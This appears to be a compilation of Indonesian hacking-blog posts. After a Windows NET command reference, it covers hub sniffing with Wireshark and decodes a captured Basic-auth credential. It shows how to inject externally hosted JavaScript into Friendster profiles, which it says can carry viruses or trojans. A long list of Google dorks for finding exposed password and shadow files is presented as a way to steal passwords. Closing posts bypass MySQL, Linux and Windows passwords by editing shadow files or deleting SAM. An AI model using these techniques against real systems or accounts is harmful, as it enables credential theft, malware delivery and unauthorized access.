NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP | 
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION | 
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ] 


G:\Documents and Settings\fl3xu5>net localgroup /? 
The syntax of this command is: 


NET LOCALGROUP 
[groupname [/COMMENT:"text"]] [/DOMAIN] 
groupname {/ADD [/COMMENT:"text"] | /DELETE} [/DOMAIN] 
groupname name [...] {/ADD | /DELETE} [/DOMAIN] 


G:\Documents and Settings\fl3xu5>net share /? 
The syntax of this command is: 


NET SHARE 
sharename 
sharename=drive:path [/GRANT:user,[READ | CHANGE | FULL]] 
[/USERS:number | /UNLIMITED] 
[/REMARK:"text"] 
[/CACHE:Manual | Documents| Programs | None ] 
sharename [/USERS:number | /UNLIMITED] 
[/REMARK:"text"] 
[/CACHE:Manual | Documents | Programs | None] 
{sharename | devicename | drive:path} /DELETE 


G:\Documents and Settings\fl3xu5>net start /? 
The syntax of this command is: 


NET START 
[service] 


G:\Documents and Settings\fl3xu5>net stop /? 
The syntax of this command is: 


NET STOP 
service 


G:\Documents and Settings\fl3xu5>net use /? 
The syntax of this command is: 


NET USE 
[devicename | *] [\\computername\sharename[\volume] [password | *]] 
[/USER:[domainname\]username] 
[/USER:[dotted domain name\]username] 
[/USER:[username@dotted domain name] 
[/SMARTCARD] 
[/SAVECRED] 
[[/DELETE] | [/PERSISTENT:{YES | NO}]] 

NET USE {devicename | *} [password | *] /HOME 

NET USE [/PERSISTENT:{YES | NO}] 



G:\Documents and Settings\fl3xu5>net user /? 
The syntax of this command is: 


NET USER 
[username [password | *] [options]] [/DOMAIN] 
username {password | *} /ADD [options] [/DOMAIN] 
username [/DELETE] [/DOMAIN] 


G:\Documents and Settings\fl3xu5>net view /? 
The syntax of this command is: 


NET VIEW 
[\\computername [/CACHE] | /DOMAIN[:domainname]] 
NET VIEW /NETWORK:NW [\\computername] 




--->> Aware !!- 
-To All, mohon diperhatikan sisi security dari windows, salah satunya 
bug rpcdcom tersebut. dan bug bug lain seperti port 139 yang bisa 
di exploitasi dengan lsass.. dsb 
Update lah info security anda, termasuk info bug dan advisory dari 
aplikasi2 yang anda pakai,lakukan patching jgn lupa ya.dsb.- 
---->> Thanks Shout and Greetz To : 
- ALLAH SWT dan Nabi Muhammad SAW 
- My parents and my Family (thx u very much for your love..) 
- My h0n3y  
- all of te-28-01 erz  
- My 4G'erz at mobilecommlab[dot]or[dot]id (ayuu smangat!!;p) 
- newhack|staff , newhack[dotorg 
- all member CnC labz : arz, freak,Cyb3rh3b dkk (missed u guys ;p) 
- Student's erZ #students..oii jgn chat muluw  
- all of Indonesian Undergorundz Community | staff and memberz 
- all of my friends 
- at #newhack[dot]org #e-c-h-o, #1stlink, #antihackerlink, 
#k-elektronik, #yogyafree, #xcode, #sekuritionline, 
#jasakom, #unsecured and all of underground channel @DALnet 
#nyubicrew @irc.mildnet.org 
- k1tk4t, mR.opt1lc, Pushm0v, gh0z ,sakitjiwa, cybertank, m_beben, 
matdhule, shideX, t0ngkring, th3sn0wbr4in, y3d1ps, the_day, 
lirva32, ayulina, dark|ipl, digital-levi, bledhek, hzent, 
tw, kopral;p, natztel, alkahfi;p, si Om, PakRT, timin, 
kopasus, scriptdana, why, vindie, raiden, irving_nazmi, 
Ph03n1X, primadonal, cR45H3R, aulia, sat-anichell, thesims, 
adhietslank, cyberlog, letjen,dkk, boerz, bigie, camgenta, 
the_rumput_kering, lppsmes, sendenk, bigmaster, kendi,dkk, 
mbah scut;), the_peng and Others yang ga bisa disebut satu2.. 
- and all of my friends yang ga bisa di sebutin satu2 baik dalam 
negeri maupun luar negeri - 

Reference : google.com, experiment PC peer to peer with laptop.. 
http://metasploit.com, ezine[at]echo.or.id. 


-----===== Alhamdulillahirabbil'alamiin=====-----

Sniffing Hub

Posted by Bl4ckB0y On 18.50 0 comments

Sniffing merupakan sebuah teknik yang sering digunakan oleh para hacker untuk melakukan pencarian password baik melalui jaringan wireless maupun jaringan LAN. serangann semacam ini tidak dapat dihindari, kenapa ? bukankah sudah pakai antivirus, antitrojan, firewall, dan anti-anti lain..?. tetap tidak bisa dihindari karena ini merupakan kelemahan sejak awal jaringan TCP/IP.

kenapa, memang kelemahan seperti apa..? baik akan diperjelas..sebagai permulaan ada baiknya kita juga belajar TCP/IP. sebenarnya apa sih yang terjadi antar satu komputer dengan komputer lain dalam sebuah jaringan TCP/IP itu. anggaplah ada dua komputer, satu di pakai seorang bernama Ahmad...dengan kondisi alamat MAC (11:11:11:11:11:11) dan IP Address (1.1.1.1), kemudian komputer lain, anggaplah dipakai Bukhori..dengan kondisi MAC (22:22:22:22:22:2) dan IP Address (2.2.2.2), selain itu ada juga komputer sang hacker, anggaplah namanya Chabibi, dengan MAC (33:33:33:33:33:33) dan IP Address (3.3.3.3)..ketiga komputer dihubungkan dengan sebuah hub. 

anggaplah Ahmad mengirim kepada Bukhori sebuah data. maka yang terjadi pada komputer adalah, pertama komputer ahmad akan mencari komputer yang namanya bukhori dalam seluruh jaringan dengan melakukan siaran atau broadcast..(hoi gue mau cari komputer yang namanya bukhori, dengan IP Address (2.2.2.2),  seluruh komputer dalam jaringan termasuk komputer Bukhori dan Candra juga mendengarnya). ketika di broadcast seluruh komputer yang ada ikut mendengar. kemudian komputer bukhori menjawab ( ini gue, komputer bukhori dengan MAC (22:22:22:22:22:2) dan IP Address (2.2.2.2) ). karena sudah mengetahui komunikasi antar dua komputer, kemudian komputer Ahmad mulai mengirim data, dan pada saat itu juga jalur yang dipakai oleh ketiga orang dalam kondisi sedang dipakai ahmad. karena melalui kabel sebenarnya selueuh data diterima oleh seluruh komputer, termasuk komputer Candra asang hacker. akan tetapi dalam kondisi default, komputer candra tidak akan menghiraukan paket data yang tidak ditujukan untuknya. sehingga seolah-olah ia tidak menerima paket apapun. semua paket akan lewat melalui jaringan ini. apapaun itu, termasuk password dan username untuk e-mail, account bank dan lain-lain.

sekarang bagaimana kalau seandainya komputer candra yang selaku hacker mengubah sifat komputernya, karena saat pengiriman data dari ahmad dan bukhori komputer candra juga mendengar, maka jika komputer candra di set untuk mendengarkan atau menerima semua paket, baik yang ditujukan atau yang tidak ditujukan untuknya. maka komputer candra juga bisa mencuri paket yang seharusnya bukan untuk, inilah yang disebut dengan sniffing, yaitu membiarkan semua yang lewat dalam jaringan untuk diambil. nah tool yang bisa digunakan adalah wireshark...dulu namanya ethereal. silakan googling untuk download tersedian versi windows, dan linux.

berikut ini cara memakai ethereal....aku memakai linux mint 6 untuk menjalankanya,

jalankan wireshark..

dalam menu bar pilih capture -> interface, karena untuk jaringan LAN, maka pilih interface eth0, eth1 atau apalah pokoknya ethX. lalu dalam windows yang muncul klik start dan biarkan wireshark bekerja..biarkan saja sampai anda merasa cukup, dari menu capture -> stop. lalu apa yang terjadi semua data yang lewat jaringan akan diambil.

hasilnya akan ditampilkan dalam satu tempat dan sangat acak-acakan..karena bersifat untung-untungan coba carilah paket yang berwarna merah..klik kanan dan pilih follow TCP stream..jika beruntung anda akan mendapatkan tampilan seperti ini


yap itu adalah paket yang siap telah diambila...apaan tuh..acak-acakan gitu? memang asal tahu kita pasti bisa mendekripnya...karena. untuk lebih jelas, tulisanya sepertin berikut.

 
401 Authorization Required

`GET /Apache HTTP/1.1
Host: 192.168.0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive


Proxy-Authorization : Basic  bWFybGJvcm9AYmFnb25nLmNvbTpwZWN1bmRhbmcgZGlhbmdnYXAgcGFobGF3YW4=  

HTTP/1.1 401 Authorization Required
Date: Tue, 19 Jun 2007 17:21:39 GMT
Server: Apache/2.2.4 (Unix) DAV/2 mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.1 mod_apreq2-20051231/2.5.7 mod_perl/2.0.2 Perl/v5.8.7
WWW-Authenticate: Basic realm="Proxy"
Content-Length: 573
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1


lho username dan passwordnya kok mbulet gitu ?..tenang itu diprotek dengan di enkripsi dengan hash...ya..gunakan tool untuk mendekripnya...passwordnya di-enkripsi menggunakan BASIC. dengan menggunakan script yang disimpan menjadi file unencrypt.pl. berikut script-nya :

#!/usr/bin/perl
# unencrypt.pl
# device from base 64
use MIME::Base64;
print decode_base64($ARGV[0]);

selanjutnya, saya simpan password bWFybGJvcm9AYmFnb25nLmNvbTpwZWN1bmRhbmcgZGlhbmdnYXAgcGFobGF3YW4= ke dalam file bernama password.txt Cara deksripsi-nya melalui konsole ( dengan file password.txt dan file uncrypt.pl dalam satu folder ) yaitu : 
huda@huda-laptop:~# chmod +x unencrypt.pl
huda@huda-laptop:~# ./unencrypt.pl  password.txt
huda@huda-laptop:~# bejo@cs.its.ac.id:p3c2nd4ng_d14ngg4p_p4hl4w4n

nah dapat dilihat bahwa usernamernya : bejo@cs.its.ac.id

dan passwordnya : p3c2nd4ng_d14ngg4p_p4hl4w4n

yap sudah selesai. dalam simulasi ini, user ingin memberikan validasi username dan password dari pemakaian proxy-authorization...

sebenarnya, teknik ini bisa diatasi dengan memberikan enkripsi pada setiap paket yang dikirim, tapi dengan adanya tool denskripsi, enkripsi menjadi tidak berguna selain itu enkripsi membuat jaringan lambat, karena paket harus dienkripsi di kirim dan di denskripsi lagi baru dibaca. cara kedua adalah memakai switch...karena switch mampu membuat jaringan virtual sehingga seperti kasus diatas. Ahmad dan bukhori bertukar data. dengan memakai MAC address 11:11:11:11:11:11 punya ahmad dan 22:22:22:22:22 punya bukhori, maka switch membuat jaringan virtual, yaitu menghubungan port 11:11:11:11:11:11 dan 22:22:22:22:22:22 saja sehingga MAC 33:33:33:33:33:33 tidak mendengar.....

hacker tetap bisa menembusnya..lain kali akan aku bahas masalah Sniffing untuk Switch...tunggu saja

yap samapai jumpa..untuk yang sudah tahu dan expert masalah ini, mohon maaf kalu mbosenin. aku juga masih newbie....

Snifing dengan Wireshark

Posted by Bl4ckB0y On 03.24 1 comments

Berikut ini adalah sebuah artikel yang berhubungan dengan teknologi informasi masa kini.

Program Sniffing yang paling terkenal adalah WireShark (dulunya Ethereal) yang bisa Anda download di www.wireshark.org. Untuk menggunakan wireshark, pertama-tama anda harus memilih ethernet card yang akan digunakan untuk sniffing melalui menu Capture - Options atau dengan menekan tombol Ctrl+K.

Setelah anda memilih ethernet card yang akan digunakan untuk sniffing (1), selanjutnya anda bisa memastikan bahwa option "Capture packets in promiscuos mode" diaktifkan.

Jika anda tidak mengaktifkan pilihan ini, maka hanya paket ke dan dari komputer anda yang akan ditangkapoleh sniffer. setelah semua konfigurasi selesai, klik tombol start (3) untuk memulai aktifitas sniffing.

Ketika aktifitas sniffing berjalan, Anda bisa melihat jumlah paket-paket yang melalui kartu ethernet yang telah Anda pilih. Wireshark akan menampilkan jumlah paket untuk masing-masing protokol yang berhasil di intip. 

Setelah anda merasa sudah cukup, klik tombol stop. Wireshark akan segera menampilkan semua paket yang berhasil di intip.

Anda akan melihat rangkuman dari paket-paket yang berhasil ditangkap. Pada bagian tengah paket yang berhasil ditangkap akan ditejemahkan sehingga akan memudahkan kita untuk membacanya walaupun sekali lagi anda membutuhkan pengetahuan yang cukup untuk itu.

Pada bagian terbawah, anda bisa melihat paket yang ditangkap secara detaildalam bentuk hexa dan dalam bentuk ASCII.

Karena paket-paket yang anda intip adalah data yang terenkapsulasi maka tidak heran jika banyak data yang tampaknya sangat kacau ketika ditampilkam dalam bentuk ASCII.

Didalam sebuiah jaringan biasanya terdapat banyak sekali komputer-komputer yang terkoneksi sehingga membuat anda akan mendapatkan banyak sekali paket-paket data.

Pket data ini ditampilkan dalam urutan berdasarkan waktu sehingga terkadang menjadi sangat susah untuk mengetahui komunikasi apa yang sebenarnya terjadi., namun, Wireshark mempunyai satu fasilitas yang sangat menarik, yaitu Wireshark mampu menggabungkan semua data-data ini menjadi satu unit. Untuk mencobanya klik tombol kanan pada mouse Anda dan pilih menu "Follow TCP Stream".

Semua data komunikasi akan digabungkan dan ditampilkan dalam sebuah window baru dan hebatnya lagi hanya isi data-data dari paket-paket yang akan digabungkan dimana header dari paket akan dibuang karena memang tidak berguna buat anda.

Dengan cara seperti inilah, jangan heran apabila password, email, serta segala aktifitas Anda bisa dibajak oleh hacker tanpa perlu menyentuh atau menyerang komputer anda sama sekali. Ini adalah permasalahan dari komunikasi atau protokol jaringan dan tidak ada hubungannya dengan sistem operasi. Artinya, Anda menggunakan windows, linux, unix, bahkan komputer macintos juga tidak akan berguna.

Cara tebaik untuk mencegah permasalahan semacam ini tidaklah ada. Anda tidak bisa mencegah aksi "pengintipan", namun anda bisa membuat aksi tersebut tidak berguna. Caranya adalahe dg enkripsi sehingga data yang diambil oleh sniffer menjadi tidak terbaca dan hanya berupa huruf acak yang tidak berguna.

Kini anda bisa memahami kenapa situs-situs seperti internet banking menggunakan HTTPS atau protokol HTTP yang telah terenkripsi. Tujuannya adalah hanya agar data yang diambil oleh sniffer tidak akan terbaca.

Namun beberapa protokol mentransfer dalam bentuk teks dan masih tetap digunakan sampai detik ini. Misalkan POP3 yang digunakan saat Anda mengecek email, FTP untuk mentransfer file dan HTTP pada saat Anda melakukan browsing.

Upload JavaScript di Friendster

Posted by Bl4ckB0y On 04.58 1 comments

memasukan file berekstensi .js memang kadang berbahaya, namun apa salahnya kalau dicoba, berikut ini tahap-tahap buat memasukan file Javascript di Friendster.

1 . kita harus punya dulu file Javascript yang akan dimasukan. bisa membuat sendiri atau mencari di internet, kalau mau cari di Internet situs http://www.dynamicdrive.com/ cukup kompatible dengan Friendster
2. copy file script javascript yang tersedia di kotak. dan simpan dengan nama file .js
3. untuk mengupload file kunjugi http://www.fileave.com/ disini kita harus mendaftar dulu, atau bisa juga ditempat lain.
4. setelah itu masuk ke friendster teman-teman dan buka bagian edit profile..
masukan code ini :
(script languange="javascript" src="")(/script)

Contoh :
(script languange="javascript" src="http://chya_only_one.fileave.com/huda/coba.js")(/script)
ganti tanda () sama <>
begitulah dengan demikian file javascript sudah terupload, file ini bisa dibuat untuk memasukan virus, trijan atau apapun, kadang-kadang programmer jahat memasukanya untuk kepeluan keuntungan.
kalau teman-teman mau tahu gimana caranya buat javascript berbahaya, silakan aja di googling...
Insya Allah kapan-kapan tak kasih tau....

Curi Password Lewat Google

Posted by Bl4ckB0y On 17.09 1 comments

saya dapat tulisan ini dari http://t4rak4nap4it.wordpress.com/ yang katanya dapat dari buku “google hacking for penetration testers”. tujuan saya muat supaya saya dapat membaca dan ikut mempublikasikanya...

TABEL KATA KATA KUNCI MENDAPATKAN USERNAMES
———————————————————
KATA KUNCI | KETERANGAN
———————————————————
inurl:admin inurl: |userlist Generic userlist files
———————————————————
inurl:admin filetype: |asp Generic userlist files
inurl:userlist |
———————————————————
inurl:php inurl: |Half-life statistics file, lists username and
hlstats intext: |other information
Server Username |
———————————————————
filetype:ctl |
inurl:haccess. |Microsoft FrontPage equivalent of htaccess
ctl Basic |shows Web user credentials
———————————————————
filetype:reg |
reg intext: |Microsoft Internet Account Manager can
———————————————————
”internet account manager” |reveal usernames and more
filetype:wab wab |Microsoft Outlook Express Mail address
|books
———————————————————
filetype:mdb inurl:profiles |Microsoft Access databases containing
|profiles.
———————————————————
index.of perform.ini |mIRC IRC ini file can list IRC usernames and
|other information
———————————————————
inurl:root.asp?acs=anon |Outlook Mail Web Access directory can be
|used to discover usernames
———————————————————
filetype:conf inurl:proftpd. |PROFTP FTP server configuration file
conf –sample |reveals
|username and server information
———————————————————
filetype:log username putty |PUTTY SSH client logs can reveal
|usernames
|and server information
———————————————————
filetype:rdp rdp |Remote Desktop Connection files reveal user
|credentials
———————————————————
intitle:index.of |UNIX bash shell history reveals commands
.bash_history |typed at a bash command prompt; usernames
|are often typed as argument strings
———————————————————
intitle:index.of |UNIX shell history reveals commands typed at
.sh_history |a shell command prompt; usernames are
|often typed as argument strings
———————————————————
“index of ” lck |Various lock files list the user currently using
|a file
———————————————————
+intext:webalizer +intext: |Webalizer Web statistics page lists Web user-
Total Usernames +intext: |names and statistical information
”Usage Statistics for”
———————————————————
filetype:reg reg HKEY_ |Windows Registry exports can reveal
CURRENT_USER |username usernames and other information
———————————————————

TABEL KATA-KATA KUNCI MENDAPATKAN PASSWORD

———————————————————
KATA KUNCI | KETERANGAN
———————————————————
inurl:/db/main.mdb |ASP-Nuke passwords
———————————————————
filetype:cfm “cfapplication |ColdFusion source with potential passwords
name” password
———————————————————
filetype:pass |dbman credentials
pass intext:userid
———————————————————
allinurl:auth_user_file.txt |DCForum user passwords
———————————————————
eggdrop filetype:user user |Eggdrop IRC user credentials
———————————————————
filetype:ini inurl:flashFXP.ini |FlashFXP FTP credentials
———————————————————
filetype:url +inurl:”ftp://” |FTP bookmarks cleartext passwords
+inurl:”@”
———————————————————
inurl:zebra.conf intext: |GNU Zebra passwords
password -sample -test
-tutorial –download
———————————————————
filetype:htpasswd htpasswd |HTTP htpasswd Web user credentials
———————————————————
intitle:”Index of” “.htpasswd” |HTTP htpasswd Web user credentials
“htgroup” -intitle:”dist”
-apache -htpasswd.c
———————————————————
intitle:”Index of” “.htpasswd” |HTTP htpasswd Web user credentials
htpasswd.bak
———————————————————
“http://*:*@www” bob:bob |HTTP passwords (bob is a sample username)
———————————————————
“sets mode: +k” |IRC channel keys (passwords)
———————————————————
“Your password is * |Remember IRC NickServ registration passwords
this for later use”
———————————————————
signin filetype:url |JavaScript authentication credentials
———————————————————
LeapFTP intitle:”index.of./” |LeapFTP client login credentials
sites.ini modified
———————————————————
inurl:lilo.conf filetype:conf |LILO passwords
password -tatercounter2000
-bootpwd –man
———————————————————
filetype:config config intext: |Microsoft .NET application credentials
appSettings “User ID”
———————————————————
filetype:pwd service |Microsoft FrontPage Service Web passwords
———————————————————
intitle:index.of |Microsoft FrontPage Web credentials
administrators.pwd
———————————————————
“# -FrontPage-” |Microsoft FrontPage Web passwords
inurl:service.pwd
ext:pwd inurl:_vti_pvt inurl: |Microsoft FrontPage Web passwords
(Service | authors | administrators)
———————————————————
inurl:perform filetype:ini |mIRC nickserv credentials
———————————————————
intitle:”index of” intext: |mySQL database credentials
connect.inc
———————————————————
intitle:”index of” intext: |mySQL database credentials
globals.inc
———————————————————
filetype:conf oekakibbs |Oekakibss user passwords
———————————————————
filetype:dat wand.dat |Opera‚ ÄúMagic Wand‚Äù Web credentials
———————————————————
inurl:ospfd.conf intext: |OSPF Daemon Passwords
password -sample -test
-tutorial –download
———————————————————
index.of passlist |Passlist user credentials
———————————————————
inurl:passlist.txt |passlist.txt file user credentials
———————————————————
filetype:dat “password.dat” |password.dat files
———————————————————
inurl:password.log filetype:log |password.log file reveals usernames,
|passwords,and hostnames
———————————————————
filetype:log inurl:”password.log” |password.log files cleartext
|passwords
———————————————————
inurl:people.lst filetype:lst |People.lst generic password file
———————————————————
intitle:index.of config.php |PHP Configuration File database
|credentials
———————————————————
inurl:config.php dbuname dbpass |PHP Configuration File database
|credentials
———————————————————
inurl:nuke filetype:sql |PHP-Nuke credentials
———————————————————
filetype:conf inurl:psybnc.conf |psyBNC IRC user credentials
“USER.PASS=”
———————————————————
filetype:ini ServUDaemon |servU FTP Daemon credentials
———————————————————
filetype:conf slapd.conf |slapd configuration files root password
———————————————————
inurl:”slapd.conf” intext: |slapd LDAP credentials
”credentials” -manpage
-”Manual Page” -man: -sample
———————————————————
inurl:”slapd.conf” intext: |slapd LDAP root password
”rootpw” -manpage
-”Manual Page” -man: -sample
———————————————————
filetype:sql “IDENTIFIED BY” –cvs |SQL passwords
———————————————————
filetype:sql password |SQL passwords
———————————————————
filetype:ini wcx_ftp |Total Commander FTP passwords
———————————————————
filetype:netrc password |UNIX .netrc user credentials
———————————————————
index.of.etc |UNIX /etc directories contain
|various credential files
———————————————————
intitle:”Index of..etc” passwd |UNIX /etc/passwd user credentials
———————————————————
intitle:index.of passwd |UNIX /etc/passwd user credentials
passwd.bak
———————————————————
intitle:”Index of” pwd.db |UNIX /etc/pwd.db credentials
———————————————————
intitle:Index.of etc shadow |UNIX /etc/shadow user credentials
———————————————————
intitle:index.of master.passwd |UNIX master.passwd user credentials
———————————————————
intitle:”Index of” spwd.db |UNIX spwd.db credentials
passwd -pam.conf
———————————————————
filetype:bak inurl:”htaccess| |UNIX various password file backups
passwd|shadow|htusers
———————————————————
filetype:inc dbconn |Various database credentials
———————————————————
filetype:inc intext:mysql_ |Various database credentials, server names
connect
———————————————————
filetype:properties inurl:db |Various database credentials, server names
intext:password
———————————————————
inurl:vtund.conf intext:pass –cvs |Virtual Tunnel Daemon passwords
———————————————————
inurl:”wvdial.conf” intext: |wdial dialup user credentials
”password”
———————————————————
filetype:mdb wwforum |Web Wiz Forums Web credentials
———————————————————
“AutoCreate=TRUE password=*” |Website Access Analyzer user passwords
———————————————————
filetype:pwl pwl |Windows Password List user credentials
———————————————————
filetype:reg reg +intext: |Windows Registry Keys containing user
”defaultusername” intext: |credentials
”defaultpassword”
———————————————————
filetype:reg reg +intext: |Windows Registry Keys containing user
”internet account manager” |credentials
———————————————————
“index of/” “ws_ftp.ini” |WS_FTP FTP credentials
“parent directory”
———————————————————
filetype:ini ws_ftp pwd |WS_FTP FTP user credentials
———————————————————
inurl:/wwwboard |wwwboard user credentials
———————————————————

mungkin temen2 ada yang ingin melihat password dari website jerman?
mungkin sebaiknya kita juga mengganti kata “password” dengan memakai bahasa jerman tentunya dibawah ini adalah tabel 5 negara beserta terjemahan password dalam bahasa masing2 negara.

—————————————————–
BAHASA |KATA-KATA| TRANSLATE
—————————————————–
German |password | Kennwort
Spanish |password | contraseña
French |password | mot de passe
Italian |password | parola d’accesso
Portuguese |password | senha
Dutch |password | Paswoord
—————————————————–

setelah temen2 banyak mendapatkan password, apa yang akan anda lakukan?jangan berbuat jahat yang pasti, lihat2 saja isinya atau anda terlalu baik dengan memberitahu admin. jangan lupa sediakan john the ripper dirumah, sapa tau password yang disimpan sudah dalam keadaan terenkripsi.

Reset Password MySQL

Posted by Bl4ckB0y On 17.55 0 comments

reser root Mysql Password
1. stop prosesservice sql dengan cara # /etc/init.d/mysqld stop
2. jika ingin menghentikan dengan perintah kill lakukan dengan cara berikut
# ps -A | grep mysql
--> 5300 ? 00:00:00 mysqld_save
--> 5342 ? 00:00:00 mysqld
terlihat bahwa sql berjalan pada proses 5300 dan 5342 maka untuk membunuhnya ketikan perintah
# kill -9 5300 5342
3. jalankan kembali service tanpa memeriksa permision user # /usr/bin/mysqld_safe skip-grand-tables
4. buka terminal baru dan lakukan koneksi ke mysql # /usr/bin/mysql [nama database]
5. untuk ganti password lakukan perintah ini
# UPDATE user SET password=PASSWORD('huda89') WHERE Host='localhost' AND user='root' ;
# FLUSH PRIVILAGES
# exit
6. matikan proses mysql_save pada terminal satunya dengan perintah kombinasi ctrl+z dan jalankan kembali mysql #/etc/init.d/mysqld start
7. coba login dengan # mysql -u root -p

//saya Ambil dari INFOLINUX edisinya LUPA

Reset Password Windows

Posted by Bl4ckB0y On 17.38 2 comments

kalau lupa password admin di LILO waktu boot dengan LILO tekan alt,
lalu ketik aja /sbin/lilo -v ini kalau pake IGOS nusantara, kalau pake distro lain :
sama waktu boot ke LILO tekan [alt] trus ketik aja :

#linux init=/bin/bash rw
masukin password barunya. restart dan beres..
http://pti.pusdatin.esdm.go.id/index.php?option=com_wrapper&Itemid=49
====================================================================
kalau mau pake KNOPPIX atau LIVE CD lain
1. Boot dari Linux Live CD
2. mount partisi Linux anda
3. edit file /LinuxMountPoint/etc/shadow
4. kalau pake Ubuntu ketik aja
# sudo gedit /media/Linux[ini mount point linux anda tapi punya saya namanya Linus]/etc/shadow &

Misalnya linux anda terinstall di partisi 1 di harddisk primary master.
# mount /mnt/hda1
# sudo gedit /mnt/hda1/etc/shadow &
Ubah dari
root:$1$772TdBW0$kit5gqo1byMuLo5JdYx6U0:12549:0:99999:7:::
ke root::12549:0:99999:7:::
5. Save dan reboot system anda. password ROOT akan Hilang.
===================================================================
mau cara yang lain lagi :
masuk ke linux dengan tekan s...(maka akan masuk ke single user)
setelah itu berikan perintah "mount -t"
setelah itu berikan perintah "passwd root" isikan password barunya
password root jadi password baru.
===================================================================

untuk semua versi Windows :
gunkan Linux yang read n write di ntfs seperti Ubuntu, mount partisi windows anda
mount -t ntfs /dev/hda1 /media/drive_c // kalau pake hardy tinggal pilih place lalu mount.
cd /media/drive_c
cd WINNT("untuk win 2000") atau cd WINDOWS (kalau 2000, vista dan XP)
cd system32/config
hapus file SAM, beres, windows sudah gak pake password.

your Ads Here

Your Ad Here FellowEquality.com